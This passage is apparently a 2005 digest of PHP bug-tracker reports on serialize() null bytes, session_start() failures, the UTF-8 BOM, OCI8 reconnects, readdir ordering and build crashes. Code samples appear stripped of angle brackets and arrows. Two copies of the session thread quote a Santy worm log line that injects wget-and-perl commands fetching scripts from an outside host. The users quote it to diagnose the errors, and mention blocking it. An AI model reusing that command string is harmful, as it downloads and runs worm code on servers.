i=892400; 27 March 2005 06:00:00
i=896000; 27 March 2005 07:00:00
i=899600; 27 March 2005 08:00:00
i=903200; 27 March 2005 09:00:00
i=906800; 27 March 2005 10:00:00
i=910400; 27 March 2005 11:00:00
Actual result:
--
i=852800; 26 March 2005 19:00:00
i=856400; 26 March 2005 20:00:00
i=86; 26 March 2005 21:00:00
i=863600; 26 March 2005 22:00:00
i=867200; 26 March 2005 23:00:00
i=870800; 27 March 2005 00:00:00
i=874400; 27 March 2005 01:00:00
i=878000; 27 March 2005 03:00:00
i=881600; 27 March 2005 04:00:00
i=885200; 27 March 2005 05:00:00
i=00; 27 March 2005 06:00:00
i=892400; 27 March 2005 07:00:00
i=896000; 27 March 2005 08:00:00
i=899600; 27 March 2005 09:00:00
i=903200; 27 March 2005 10:00:00
i=906800; 27 March 2005 11:00:00
i=910400; 27 March 2005 12:00:00
--
Edit this bug report at http://bugs.php.net/?id=31430edit=1
#29865 [Com]: serialize produces invalid output
ID: 29865
Comment by: jhargis at gmail dot com
Reported By: [EMAIL PROTECTED]
Status: Open
Bug Type: Strings related
Operating System: N/A
PHP Version: 5CVS-2004-08-27 (dev)
New Comment:
I have noticed similar.
?php
class User {
protected $username = name;
public function getU(){
return $this-username;
}
}
$ob_User = New User();
$wUser = serialize($ob_User);
echo $wUser;
$wUser2 = unserialize($wUser);
echo $wUser2-getU() . br\n;
?
Protected/private members appear to have the 0x00 bytes around the
notation. For the time, I base64 the serialized string so I can store
it in the DB without having to deal with it as a binary. Also, this
may be related to why when using WDDX as the serialization handler it
only picks up the last member var when you need implement __sleep.
Previous Comments:
[2004-08-27 13:37:32] [EMAIL PROTECTED]
Description:
Using serialize() with a class produces invalid output.
Reproduce code:
---
I haven't had a chance to properly investigate why this particular code
causes a problem, but Derick seemed ontop of it already.
?php
class cr {
private $priv_member;
function cr($val)
{
$this-priv_member = $val;
}
function comp_func_cr($a, $b)
{
if ($a-priv_member === $b-priv_member) return 0;
return ($a-priv_member $b-priv_member)? 1:-1;
}
function comp_func_key($a, $b)
{
if ($a === $b) return 0;
return ($a $b)? 1:-1;
}
}
$a = array(0.1 = new cr(9), 0.5 = new cr(12), 0 = new cr(23),
1= new cr(4), 2 = new cr(-15),);
$b = array(0.2 = new cr(9), 0.5 = new cr(22), 0 = new cr(3), 1=
new cr(4), 2 = new cr(-15),);
$result = array_udiff_uassoc($a, $b, array(cr, comp_func_cr),
array(cr, comp_func_key));
$foo = serialize($result);
echo $foo;
?
Actual result:
--
61 3a 33 3a 7b 73 3a 33 3a 22 30 2e 31 22 3b 4f a:3:{s:3
:0.1;O
0010 3a 32 3a 22 63 72 22 3a 31 3a 7b 73 3a 31 35 3a :2:cr:
1:{s:15:
0020 22 00 63 72 00 70 72 69 76 5f 6d 65 6d 62 65 72 .cr.pri
v_member
0030 22 3b 69 3a 39 3b 7d 73 3a 33 3a 22 30 2e 35 22 ;i:9;}s
:3:0.5
0040 3b 4f 3a 32 3a 22 63 72 22 3a 31 3a 7b 73 3a 31 ;O:2:cr
:1:{s:1
0050 35 3a 22 00 63 72 00 70 72 69 76 5f 6d 65 6d 62 5:.cr.p
riv_memb
0060 65 72 22 3b 69 3a 31 32 3b 7d 69 3a 30 3b 4f 3a er;i:12
;}i:0;O:
0070 32 3a 22 63 72 22 3a 31 3a 7b 73 3a 31 35 3a 22 2:cr:1
:{s:15:
0080 00 63 72 00 70 72 69 76 5f 6d 65 6d 62 65 72 22 .cr.priv
_member
0090 3b 69 3a 32 33 3b 7d 7d;i:23;}}
As you can see from this hexdump, there are 0 bytes being produced.
This should not happen.
--
Edit this bug report at http://bugs.php.net/?id=29865edit=1
#25876 [Com]: session_start(): Failed to initialize storage module
ID: 25876 Comment by: jarratt at dotpixel dot net Reported By: golden at riscom dot com Status: Assigned Bug Type: Session related Operating System: freebsd 4.8 PHP Version: 4.3.9-4.3.10 Assigned To: sas New Comment: Hi, We also seem to be experience this intermittent problem with a newly compiled version of PHP 5.0.3 Fatal error: session_start() [function.session-start]: Failed to initialize storage module: user (path: ) in ... Any ideas, i have two versions of php on my fedora 1 box if i switch to php 4.3.8 Fedora rpm version i have no issues. In the php.ini has session.save_handler = files set any suggestions? Thanks Previous Comments: [2004-12-30 02:18:57] aussie_jadu at hotmail dot com We're experiencing the same error, with php 4.3.10 running on Redhat 7.3 with apache 1.3.31. PHP Fatal error: session_start(): Failed to initialize storage module: user [2004-12-28 21:27:20] mak123 at poczta dot onet dot pl I found many log lines with: ...PHPSESSID=http://www.visualcoders.net/spy.gif?. or other session variables like osCsid, IDP, sess_id - and there is huge correlation between number of such attacks and time when sessions hang with 'Failed to initialize...' error. After 50 - 70 such request in 10 - 15 seconds php refused to handle session_start() function. [2004-12-28 20:32:21] mak123 at poczta dot onet dot pl I've added 'php_value session.save_handler files' line to config file and errors disappeared. [2004-12-28 19:21:28] cruiser at ptcruiserclub dot org I'm using php 4.3.10 on Apache2.4.20 on Redhat 9 Lots of this error repeating over and over in apache error_log: PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 All the errors correlate to the Santy worm attacks on my oscommerce store in the apache access_log /index.php?cPath=34osCsid=http://www.visualcoders.net/spy.gif?cmd=cd%20/tmp;wget%20www.visualcoders.net/spybot.txt;wget%20www.visualcoders.net/worm1.txt;wget%20www.visualcoders.net/php.txt;wget%20www.visualcoders.net/ownz.txt;wget%20www.visualcoders.net/zone.txt;perl%20spybot.txt;perl%20worm1.txt;perl%20ownz.txt;perl%20php.txt adding some mod_rewrite rules in httpd.conf to redirect the worm away stopped the errors. [2004-12-28 12:33:28] mbi at euro-ip dot net After the recompile of PHP 4.3.10 with a session.c of 4.3.9, the problems seem to have disapeared. It's quite difficult to be sure, because the problem only occured once in a while (and it all took of about a week after the initial upgrade). Some other people, using our services, affected by the problems, tell me that they are gone by now (without setting a session handler via ini_set). I'm quite aware there are some unfixed bugs in the session.c of 4.3.9, but the other way was quite unacceptable for production usage. Maybe somebody with better knowledge of the code should take a look at the changes between 4.3.9 and 4.3.10 in session.c. We're using Apache 1.3.33 with PHP 4.3.10, mod_ssl 2.8.22 on FreeBSD 4.10-RELEASE-p3. The current configuration has been rock-solid for months and besides some minor upgrades to Apache, PHP and some minor OS fixes, nothing interesting happened to the systems in question. We also noticed this on all of our frontend shared hosting servers. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/25876 -- Edit this bug report at http://bugs.php.net/?id=25876edit=1
#31433 [NEW]: PHP CGI Core Dumps W/O TERMCAP Assignment
From: dgrimes at scvl dot com
Operating system: SCO OpenServer 5
PHP version: 4.3.10
PHP Bug Type: Program Execution
Bug description: PHP CGI Core Dumps W/O TERMCAP Assignment
Description:
I am attempting to upgrade from 4.0.6 to 4.3.10. Everything compiled
without warning or errors and installed fine. I eliminated everything from
configure:
configure --disable-all
make
make install
I want a CGI version from this compile. When I execute php from the
command line, it coredumps with a memory fault. All I have to do is type
php at the command line and it coredumps. I finally figured out it has
something to do with the TERMCAP environment variable. When I set it to a
valid TERMCAP value php will run fine.
TERMCAP Assignment:
TERMCAP='sa|scoansi|scoansi80x25|SCO ANSI Color Console::
:km:mm=\
E[=10L:mo=\E[=11L:rp=\E[%d;%db:vi=\E[=0c:ve=\E[=1c:vs=\E[=2c:
:am:be:eo:mi:xo:
: :LE=\E[%dD:RI=\E[%dC:DO=\E[%dD:UP=\E[%dA:cm=\E[%i%d;%dH:DC=\E[%dP:
:DL=\E[%dM:IC=\E[%d@:AL=\E[%dL:S1=\E[=%dg:cd=\E[J:cb=\E[1K:ce=\E[K:
:ho=\E[H
:RA=\E[?7l:SA=\E[?7h:@1=\E[H:@7=\E[F:kh=\E[H:
:kD=^_:kI=\E[L:kN=\E[G:%5=\E[G:k
P=\E[I:%8=\E[I:kB=\E[Z:kl=\E[D:
:kd=\E[B:kr=\E[C:ku=\E[A:k1=\E[M:k2=\E[N:k3=\E[O
:k4=\E[P:k5=\E[Q:
:k6=\E[R:k7=\E[S:k8=\E[T:k9=\E[U:k;=\E[V:F1=\E[W:F2=\E[X
: :mb=\E[5m:md=\E[1m:mr=\E[7m:mk=\E[8m:so=\E[7m:se=\E[27m:me=\E[m:
:[EMAIL PROTECTED]/.\231-\230,.`\204~\207i\150y\163z\162{\143
};;IIHHJJKKMM::LL99NN88UUTTOOQQFF55XX77VVSS==PPRRGG66WW:
:as=\E[12m:ae=\E
[10m:cs=\E[%i%d;%dr:wi=\E[%i%d;%d;%i%d;%dr:MC=\E[=r:
:oc=\E[51m:Co#8:pa#64:AB
=\E[4%dm:Sb=\E[4%dm:AF=\E[3%dm:Sf=\E[3%dm:op=\E[0;37;40m:'
Once TERMCAP is assigned, php runs OK. I am installing on SCO OperServer 5
Version 5.0.6. If you need any additional information please let me know.
Dean
--
Edit bug report at http://bugs.php.net/?id=31433edit=1
--
Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=31433r=trysnapshot4
Try a CVS snapshot (php5.0):
http://bugs.php.net/fix.php?id=31433r=trysnapshot50
Try a CVS snapshot (php5.1):
http://bugs.php.net/fix.php?id=31433r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=31433r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=31433r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=31433r=needtrace
Need Reproduce Script: http://bugs.php.net/fix.php?id=31433r=needscript
Try newer version: http://bugs.php.net/fix.php?id=31433r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=31433r=support
Expected behavior: http://bugs.php.net/fix.php?id=31433r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=31433r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=31433r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=31433r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=31433r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=31433r=dst
IIS Stability: http://bugs.php.net/fix.php?id=31433r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=31433r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=31433r=float
No Zend Extensions: http://bugs.php.net/fix.php?id=31433r=nozend
MySQL Configuration Error: http://bugs.php.net/fix.php?id=31433r=mysqlcfg
#22108 [Asn]: php doesn't ignore the utf-8 BOM
ID: 22108 Updated by: [EMAIL PROTECTED] Reported By: bugzilla at jellycan dot com Status: Assigned Bug Type: Feature/Change Request Operating System: * PHP Version: * Assigned To: moriyoshi New Comment: How about making this --enable-zend-multibyte default option? Is it possible to port this support for windows too? And for 4.3.x branch? Should it be marked open again? Previous Comments: [2004-05-25 12:33:30] lapo at lapo dot it Adding '--enable-zend-multibyte' to latest PHP5 port for FreeBSD for sure solves the problem: All files contain: ? header(Content-Language: it); echo àèéìòù\n; ? cyberx [~] $ php /usr/tmp/utf8-bom.php à èéìòù cyberx [~] $ php /usr/tmp/utf8Y-bom.php àèéìòù cyberx [~] $ php /usr/tmp/utf16-bom.php àèéìòù cyberx [~] $ php /usr/tmp/utf16BE-bom.php àèéìòù cyberx [~] $ php /usr/tmp/utf16LE-bom.php àèéìòù Except for UTF8 without BOM that is, of course, not distinguishable from ISO8859-15 (default here), all theother formats are correctly interpreted and outputted. (notice that the 'header' instruction prior of the 'echo' one would stutter with a non-BOM-aware PHP compile). I wonder if and when this great multibyte support would be available by default in Win32 compiles, I would really use it for work and am not willing to but VisualC just to compile that ;-) (though I'm trying compiling it with cygwin's gcc using '-mno-cygwin' option, we'll see...) [2003-11-09 16:12:50] a9c83cd8bb41db324db5b449352f183 at arcor dot de Thought about it... Now I think it's better when the BOM isn't part of the output because that would cause trouble if you want to output images or PDF or something like that... [2003-11-08 06:45:22] a9c83cd8bb41db324db5b449352f183 at arcor dot de I think the best would be that PHP recognizes the BOM and outputs it before it outputs the document (but after the HTTP headers, of course) so that the document can still be recognized as UTF-8 when it's saved to disk (where no Content-Type headers with a charset specification are available). [2003-10-31 11:12:06] [EMAIL PROTECTED] I added i18n support to Zend Engine 2 (though it's still partial one...), and one of its features contain awareness of BOM. So now you can gracefully parse scripts with BOM if you use PHP 5.0.0b2 and configure it with the option '--enable-zend-multibyte'. These features are still experimental and under testing, so that I have not been documented these but I'll add the entry to the manual, ZEND_CHANGES and so on if I feel certain of the stability and robustness of my patch, though I do not know when it is:) Anyway, I'll close this bug if '--enable-zend-multibyte' option in PHP 5.0.0b2 is assured to work well for this problem. Comments are welcome. [2003-02-07 23:13:07] bugzilla at jellycan dot com The BOM (byte order mark) is a few bytes at the very front of a file that act as a signature denoting what type of encoding has been used, and in UTF16/32 it also makes the byte order (LE or BE). Although utf-8 is byte order independent, it has become popular on windows (perhaps not so on unix) to make use of the BOM encoded in UTF-8 to flag the file as being in UTF-8 format. This allows editors to determine the type of the file from the first few characters instead of trying to guess what type the file is. Ref: Textpad 4.6 (http://textpad.com) See the Unicode FAQ for details of the utf-8 BOM... http://www.unicode.org/unicode/faq/utf_bom.html#25 The use of this should be obvious, you have to leave the my-language-only mindset that afflicts too many programmers (myself included before this job) and think about the growing multiplicity of languages on the web. I am writing web applications in Japan, with European language and CJK (Chinese/Japanese/Korean) language processing and interfaces. Thus I have php files where variable values are strings of all sorts of languages - hence utf-8 encoding. I feel that this is definitely a bug in php. Considering that: * php is slowly growing into a language-neutral (i18n/l10n possible) language * php is designed such that php commands can be liberally sprinkled through html, and html is increasing encoded in utf-8 these days * the utf-8 bom is becoming increasingly popular for reasons of indentifying the file character format * if the utf-8 bom exists php actually outputs it incorrectly and in doing so prevents header output I request that you don't see this as a feature request, but as a bug in the handling of utf-8 files. Whether the output generator is the correct characterization of this bug or not I leave up to you.
#30808 [Com]: oci8 cannot connect after restarting DB
ID: 30808 Comment by: gid at gifpaste dot net Reported By: michael dot caplan at lechateau dot ca Status: Suspended Bug Type: OCI8 related Operating System: RHE 3 PHP Version: 5.0.2 Assigned To: tony2001 New Comment: Our development database server also goes down every night for a cold back up so we get this error every morning in development. (our production server however is always up) This is rather disturbing that this is happening even when using ocinlogon. If I want to create a new connection to oracle, then php should trust that I, the programmer know what I am doing. Maybe put a note in the manual stating that ocinlogon should ONLY be used after ocilogon or ociplogon fails. Maybe it's me, but this ini setting seems like a hack to me. If an oracle connection gets in a corrupted state, then I should be able to detect the bad oracle connection, close it, and try opening a new connection all in php code. Just because someone takes their database server down every night doesn't mean they should have to pay the penalty of oci_ping on every connection. Previous Comments: [2004-11-19 14:20:25] michael dot caplan at lechateau dot ca FYI, I am using a DB abstraction library (PEAR::MDB2), and just realized for non persistant connections it is using ociNlogon() for non persistant connections. So, to revise my original report, it is not just ociplogon() that is affected, but also ociNlogon() as well. This certainly does put a new spin on things and perhaps warrants unsuspending this bug report. [2004-11-19 10:14:06] giunta dot gaetano at sea-aeroportimilano dot it It is very funny that I never experienced this problem, given the really heavy usage we do of PHP+Oci at work. But then I stick with php 4 for now: does this bug also apply to the 'old' version? Anyway, here's what I generally do, both in C++ OCI sw and php scripts that run as services (ie never-ending): 1) connect to db 2) exec query 3) if query fails the close and reopen connection 4) goto 2 In this usage pattern the PHP connection to Oracle is not persistent (it is kept open by the script anyway). And the scripts have been chugging away for years thru network outages, DB upgrades and all. I wonder if a similar pattern could solve your problem in a PHP as Apache module situation: let the app layer do the actual 'pinging' of the DB instead of tho oci layer (eg try to close and reopen pending db connections when something fails...) [2004-11-18 22:53:42] [EMAIL PROTECTED] Nope, mysql_connect() reconnects every time, as ociNlogon() does, so it does not need to ping server. ocilogon(), however, doesn't reconnect on every request, as this operation in Oracle is rather slow, comparing with MySQL (you could try to compare ociNlogon() vs ocilogon() speed and see the difference). instead, it only creates new session, but server connection is stored persistently and this causes your problem. [2004-11-18 17:59:18] michael dot caplan at lechateau dot ca hi tony, how does the mysql connect function handle this problem, or does it ping the server each time? [2004-11-18 17:54:04] [EMAIL PROTECTED] And I don't see why a solution would necessarily depend on pre-pinging. I'd be glad to hear your proposal, Patrick. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/30808 -- Edit this bug report at http://bugs.php.net/?id=30808edit=1
#31435 [NEW]: Readdir give unsorted file list output
From: info at rustelekom dot biz
Operating system: Linux 2.6.9-1.6_FC2smp
PHP version: 4.3.10
PHP Bug Type: *Directory/Filesystem functions
Bug description: Readdir give unsorted file list output
Description:
Hello,
On other system (with Fedora core 1 kernel version) same code give us file
and directory list result sorted by created time (so, file created last -
also showed as last in output list), but on this system we have other
result and it is looks as unsorted (or sorted not by file created time in
other words). On both system we use same locale (koi8r) and filesystem
type (ext3).
Sincerely Yours
Dima Ivanov
Reproduce code:
---
?php
// Note that !== did not exist until 4.0.0-RC2
if ($handle = opendir('./')) {
echo Directory handle: $handlebr;
echo Files:br;
/* This is the correct way to loop over the directory. */
while (false !== ($file = readdir($handle))) {
echo $filebr;
}
/* This is the WRONG way to loop over the directory. */
/* while ($file = readdir($handle)) {
echo $file\n;
} */
closedir($handle);
}
?
Expected result:
Fedora 1 system
Directory handle: Resource id #2
Files:
.
..
SmallNuke_v1.zip
SmallNuke_v1
blocks
images
bandmin-1.6.tar.gz
includes
language
modules
themes
admin
robots.txt
modules.php
.htaccess
header.php
footer.php
index.php
mainfile.php
order
cgi-bin
test.php
myLogs
sql
spaw
banners
forum.sql
header.php.bak
eurodns.html
banners.php
.htaccess.bak
footer.php.bak
mainfile.php.bak
index.html.old
api
login
order.php
gate-order.inc.php
rupay.php
suspended.page
index.html
index.php.old
.htaccess.old
history - this is file which newly created
Actual result:
--
Fedora 2 system
Directory handle: Resource id #2
Files:
auto.php
auto_ind.php
pictures
search.php
damp
.
sale.php
.htaccess
style
sale_ind.php
admin
test.php- this is file which newly created
images
rasdel_ind.php
page.php
rasdel.php
include
..
index.php
logo.swf
description.php
reference.php
print.php
cgi-bin
order.php
--
Edit bug report at http://bugs.php.net/?id=31435edit=1
--
Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=31435r=trysnapshot4
Try a CVS snapshot (php5.0):
http://bugs.php.net/fix.php?id=31435r=trysnapshot50
Try a CVS snapshot (php5.1):
http://bugs.php.net/fix.php?id=31435r=trysnapshot51
Fixed in CVS:http://bugs.php.net/fix.php?id=31435r=fixedcvs
Fixed in release:http://bugs.php.net/fix.php?id=31435r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=31435r=needtrace
Need Reproduce Script: http://bugs.php.net/fix.php?id=31435r=needscript
Try newer version: http://bugs.php.net/fix.php?id=31435r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=31435r=support
Expected behavior: http://bugs.php.net/fix.php?id=31435r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=31435r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=31435r=submittedtwice
register_globals:http://bugs.php.net/fix.php?id=31435r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=31435r=php3
Daylight Savings:http://bugs.php.net/fix.php?id=31435r=dst
IIS Stability: http://bugs.php.net/fix.php?id=31435r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=31435r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=31435r=float
No Zend Extensions: http://bugs.php.net/fix.php?id=31435r=nozend
MySQL Configuration Error: http://bugs.php.net/fix.php?id=31435r=mysqlcfg
#31431 [Opn-Bgs]: Segfault in imap_8bit() with UTF-8 data
ID: 31431 Updated by: [EMAIL PROTECTED] Reported By: jan at horde dot org -Status: Open +Status: Bogus Bug Type: IMAP related Operating System: Linux PHP Version: 4CVS-2005-01-06 (stable) New Comment: This is c-client bug, rfc822_8bit() function incorrectly computes max result string length and overruns it. I'll send a report fix to the developers. Previous Comments: [2005-01-06 18:40:40] jan at horde dot org Description: Find a single PHP call script and some UTF-8 example data at: http://www.horde.org/~jan/imap_8bit.tgz that causes imap_8bit() to segfault. -- Edit this bug report at http://bugs.php.net/?id=31431edit=1
#25876 [Com]: session_start(): Failed to initialize storage module
ID: 25876 Comment by: jarratt at dotpixel dot net Reported By: golden at riscom dot com Status: Assigned Bug Type: Session related Operating System: freebsd 4.8 PHP Version: 4.3.9-4.3.10 Assigned To: sas New Comment: Update: Hi again, On the above mentioned issue, we only recently started testing with our own 'session.save_handler', when this error started to appear, i found that if i restart apache and access the orginally working sites (default session.save_handler) they appear to be fine? not sure if that helps any but i thought i would mention it. regards Previous Comments: [2005-01-06 20:24:12] jarratt at dotpixel dot net Hi, We also seem to be experience this intermittent problem with a newly compiled version of PHP 5.0.3 Fatal error: session_start() [function.session-start]: Failed to initialize storage module: user (path: ) in ... Any ideas, i have two versions of php on my fedora 1 box if i switch to php 4.3.8 Fedora rpm version i have no issues. In the php.ini has session.save_handler = files set any suggestions? Thanks [2004-12-30 02:18:57] aussie_jadu at hotmail dot com We're experiencing the same error, with php 4.3.10 running on Redhat 7.3 with apache 1.3.31. PHP Fatal error: session_start(): Failed to initialize storage module: user [2004-12-28 21:27:20] mak123 at poczta dot onet dot pl I found many log lines with: ...PHPSESSID=http://www.visualcoders.net/spy.gif?. or other session variables like osCsid, IDP, sess_id - and there is huge correlation between number of such attacks and time when sessions hang with 'Failed to initialize...' error. After 50 - 70 such request in 10 - 15 seconds php refused to handle session_start() function. [2004-12-28 20:32:21] mak123 at poczta dot onet dot pl I've added 'php_value session.save_handler files' line to config file and errors disappeared. [2004-12-28 19:21:28] cruiser at ptcruiserclub dot org I'm using php 4.3.10 on Apache2.4.20 on Redhat 9 Lots of this error repeating over and over in apache error_log: PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 All the errors correlate to the Santy worm attacks on my oscommerce store in the apache access_log /index.php?cPath=34osCsid=http://www.visualcoders.net/spy.gif?cmd=cd%20/tmp;wget%20www.visualcoders.net/spybot.txt;wget%20www.visualcoders.net/worm1.txt;wget%20www.visualcoders.net/php.txt;wget%20www.visualcoders.net/ownz.txt;wget%20www.visualcoders.net/zone.txt;perl%20spybot.txt;perl%20worm1.txt;perl%20ownz.txt;perl%20php.txt adding some mod_rewrite rules in httpd.conf to redirect the worm away stopped the errors. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/25876 -- Edit this bug report at http://bugs.php.net/?id=25876edit=1
#28460 [Fbk-NoF]: zlib_output_compression On keepalive connections linger
ID: 28460 Updated by: php-bugs@lists.php.net Reported By: pixl at 7pt dot net -Status: Feedback +Status: No Feedback Bug Type: Zlib Related Operating System: Linux, Redhat, 2.4.21-9.0.3.ELs PHP Version: 4.3.6 New Comment: No feedback was provided for this bug for over a week, so it is being suspended automatically. If you are able to provide the information that was originally requested, please do so and change the status of the bug back to Open. Previous Comments: [2004-12-30 04:01:31] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php4-STABLE-latest.tar.gz For Windows: http://snaps.php.net/win32/php4-win32-STABLE-latest.zip Also respond to the feedback request above, about Apache 1.. [2004-05-21 00:08:21] scottmacvicar at ntlworld dot com Does the same problem occur with apache 1? [2004-05-20 21:09:45] pixl at 7pt dot net Description: PHP 4.3.6 Apache 2 (prefork) When using zlib_output_compression = On, with vBulletin Version 3.0.0 Internet Explorer and Mozilla Firefox does not show that the page has completed loading, until the keepalive timer expires (15 seconds in my config). Doing test with ethereal I see this. with apachebench it works correcly ab -n 2 -k -H Accept-Encoding: gzip http://forums.anabolicreview.com/ after the html is pulled the client sends a [FIN] packet and the server terminates the connection. with Mozilla FireFox .8, the client pulls the page and images in about .2 seconds, then sits in globe spinning mode (little animation goes in the corner) for 15 seconds. At 15 seconds the server sends a [FIN-ACK] packet the connection is closed and the client is no longer connected. Internet Explorer 6 does exactly the same as mozilla. This only occurs with zlib_output_compression =on, with zlib_output_compression = off OR the obgzhandler settings on this does not occur. Most of the problem I have is a human one, users see that the animation in there browser is still going for 15 seconds and make complaints that the message board is going slow even when the page has loaded in under a second. I have currenly turned zlib-compression off, and enabled gzip compression in vbulletins settings (im assuming using ob_gzhandler in the php) and compression is working fine, I've just read in enough documentation that zlib_output_compression is the recommended way to run php. If you need certian detailed information please ask, I'll reneable zilb on the server and reproduce the problem. Thank You, Peter apache2 configuration CFLAGS=-O2 -mcpu=pentium4 -march=pentium4; export CFLAGS ./configure \ --prefix=/usr/local/apache \ --enable-shared=max \ $@ php 4.3.6 configuration './configure' '--with-apxs2=/usr/local/httpd/bin/apxs' '--with-config-file-path=/usr/local/httpd' '--disable-debug' '--disable-ipv6' '--disable-display-source' '--disable-cgi' '--with-zlib' '--with-gettext' '--with-bz2' '--with-gd' '--enable-gd-native-ttf' '--enable-memory-limit' '--enable-sysvshm' '--enable-sysvsem' '--enable-sysvmsg' '--enable-shared' '--with-freetype-dir=/usr' '--with-mysql=/usr' '--with-tiff-dir=/usr' '--with-jpeg-dir=/usr' '--with-png-dir=/usr' -- Edit this bug report at http://bugs.php.net/?id=28460edit=1
#31275 [Fbk-NoF]: PHP Crashes randomly
ID: 31275 Updated by: php-bugs@lists.php.net Reported By: smartychan at hotmail dot com -Status: Feedback +Status: No Feedback Bug Type: Reproducible crash Operating System: Windows XP Professional PHP Version: 4CVS-2004-12-23 (stable) New Comment: No feedback was provided for this bug for over a week, so it is being suspended automatically. If you are able to provide the information that was originally requested, please do so and change the status of the bug back to Open. Previous Comments: [2004-12-30 06:49:03] [EMAIL PROTECTED] Not enough information was provided for us to be able to handle this bug. Please re-read the instructions at http://bugs.php.net/how-to-report.php If you can provide more information, feel free to add it to this bug and change the status back to Open. Thank you for your interest in PHP. [2004-12-27 22:02:51] smartychan at hotmail dot com I just found out something. When I viewed the page in Mozilla Firefox, NOTHING Crashed. It does crash when viewed on Internet Explorer (even the latest version). [2004-12-25 00:40:27] smartychan at hotmail dot com This is the edited information. Reproduce code: --- The URL to my php page that randomly crashes is: http://chantown.com/fun/index.php?sm=facts The included page within the php is : http://chantown.com/fun/uselessfacts.htm -- I also have a test page. This test php page has one include function only. It includes games.htm. http://chantown.com/fun/abc.php http://chantown.com/fun/games.htm -- this is my php info page. http://chantown.com/phpinfo.php this server should be running between 12 pm to 11 pm Central Time. Thanks! Expected result: The php pages are supposed to load correctly and include the htm files correctly. Actual result: -- PHP page crashes, and Page Cannot be Displayed shows. However, if I click refresh many times, the page will eventually load. [2004-12-23 22:53:54] smartychan at hotmail dot com Description: Hi, I have an Apache 2, PHP on windows XP pro. They're all installed properly. When I run a php script that is big, it will crash. It will then display The Page Cannot be Displayed (Cannot find server or DNS Error). I tried all 4.3 versions and 5.0, and all versions of apache, and reformatted computer. For example, when I use include and include a big regular html file with many words, php flashes and refreshes, trying to load the php + included html page. Then, it will suddenly crash and the error will show up. This also happens in another area, in a simple coppermine photo gallery. When the php gallery is viewed, sometimes it will suddenly crash. Sometimes it will not. When it does crash and the Page cannot be displyaed shows, I try to refresh it and still cannot view the crashed page. So, it randomly crashes. The php usually crashes when it loads big information-like a big html page (not necessarily php code). Also, PHP crashes on the big page no matter what machine I use to view it. It will crash on the server machine itself when the php page is loaded. I do not think it is my computer server problem, tho. This is my server: Sony vaio Pentium III 900mhz 512Ram 40GB hardrive NTFS Could you help me with this problem? Thanks, Felix Chan Reproduce code: --- An very simple php file with the include function for file.html---file.htm has many words and is relatively big. Also, PHP crashes during coppermine gallery viewing. Expected result: PHP should load, and not display an error. Actual result: -- PHP Crashes The page cannot be displayed The page you are looking for is currently unavailable. The Web site might be experiencing technical difficulties, or you may need to adjust your browser settings. Cannot find server or DNS Error Internet Explorer -- Edit this bug report at http://bugs.php.net/?id=31275edit=1
#31290 [Fbk-NoF]: Syntax error reported in /usr/include/rpc/rpc_msg.h
ID: 31290
Updated by: php-bugs@lists.php.net
Reported By: will dot spencer at internet-search-engines-faq
-Status: Feedback
+Status: No Feedback
Bug Type: Compile Failure
Operating System: FreeBSD 4.10-BETA #6
PHP Version: 4.3.10
New Comment:
No feedback was provided for this bug for over a week, so it is
being suspended automatically. If you are able to provide the
information that was originally requested, please do so and change
the status of the bug back to Open.
Previous Comments:
[2004-12-30 18:39:59] will at internet-search-engines-faq dot com
I have done a cvsup to RELENG_5, and rebuilt both the world and the
kernel.
I am now running kernel 5.3-STABLE.
I receive the same general error when I make php4.3.10, but with a
slightly different error message:
In file included from /usr/include/rpc/rpc.h:59,
from /usr/include/crypt.h:9,
from /root/php-4.3.10/ext/standard/crypt.c:31:
/usr/include/rpc/rpc_msg.h:66: error: syntax error before numeric
constant
*** Error code 1
[2004-12-30 06:44:56] [EMAIL PROTECTED]
First try rebuilding the world.
[2004-12-25 01:04:15] will dot spencer at internet-search-engines-faq
Description:
I am experiencing something similar to bug report #6713, except with
php 4.3.10.
I cannot see an issue with FreeBSD's /usr/include/rpc/rpc_msg.h, which
has remained unchanged since 1999/08/27.
I see the same results when I use ./configure with no options or when I
use ./configure with the entire set of desired options.
Reproduce code:
---
rpc_msg.h lines 53-70 are:
enum msg_type {
CALL=0,
REPLY=1
};
enum reply_stat {
MSG_ACCEPTED=0,
MSG_DENIED=1
};
enum accept_stat {
SUCCESS=0,
PROG_UNAVAIL=1,
PROG_MISMATCH=2,
PROC_UNAVAIL=3,
GARBAGE_ARGS=4,
SYSTEM_ERR=5
};
Expected result:
I was hoping that 4.3.10 would make with no warnings or errors. :)
Actual result:
--
# make
/bin/sh /root/php-4.3.10/libtool --silent --preserve-dup-deps
--mode=compile gcc -Iext/standard/ -I/root/php-4.3.10/ext/standard/
-DPHP_ATOM_INC -I/root/php-4.3.10/include -I/root/php-4.3.10/main
-I/root/php-4.3.10 -I/root/php-4.3.10/Zend -I/usr/local/include/mysql
-I/usr/local/include -I/root/php-4.3.10/TSRM -g -O2 -prefer-pic -c
/root/php-4.3.10/ext/standard/crypt.c -o ext/standard/crypt.lo
